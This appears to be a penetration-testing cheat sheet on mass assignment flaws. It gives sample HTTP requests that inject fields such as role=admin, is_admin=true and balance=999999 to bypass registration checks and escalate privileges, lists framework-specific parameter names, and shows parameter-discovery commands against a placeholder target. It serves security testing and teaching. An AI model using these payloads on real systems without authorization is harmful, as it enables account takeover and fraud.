# Mass Assignment

## Overview

Mass assignment occurs when applications automatically bind HTTP parameters to model attributes without proper filtering.

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## Identify

### Signs of Vulnerability

* Framework uses auto-binding (Rails, Django, Node.js, etc.)
* Hidden parameters in forms
* API accepts extra fields in JSON/POST data
* Registration or profile update forms

### Test Method

1. Intercept normal request
2. Add extra parameters:
   * `admin=true`
   * `role=admin`
   * `confirmed=1`
   * `verified=1`
   * `is_staff=true`
   * `active=1`

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## Exploit

### Registration Bypass

```http
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=hacker&password=test&confirmed=true
```

### Admin Privilege Escalation

```http
POST /api/users HTTP/1.1
Content-Type: application/json

{"username":"hacker","email":"hacker@test.com","role":"admin"}
```

### Profile Update

```http
PUT /api/profile HTTP/1.1
Content-Type: application/json

{"name":"hacker","is_admin":true,"balance":999999}
```

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## Framework-Specific Parameters

### Ruby on Rails

```
admin
role
is_admin
confirmed_at
```

### Django

```
is_staff
is_superuser
is_active
```

### Node.js/Express

```
role
admin
verified
```

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## Finding Hidden Parameters

### Source Code Review

```bash
# Look for model definitions
grep -r "attr_accessible" .
grep -r "permit(" .
grep -r "fields =" .
```

### Parameter Discovery Tools

```bash
# Arjun - HTTP parameter discovery
arjun -u http://TARGET/api/endpoint

# ParamSpider
python3 paramspider.py --domain TARGET
```

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## Common Vulnerable Endpoints

| Endpoint     | Test Parameters               |
| ------------ | ----------------------------- |
| `/register`  | `admin`, `role`, `confirmed`  |
| `/profile`   | `is_admin`, `balance`, `role` |
| `/api/users` | `role`, `permissions`         |
| `/settings`  | `is_premium`, `verified`      |


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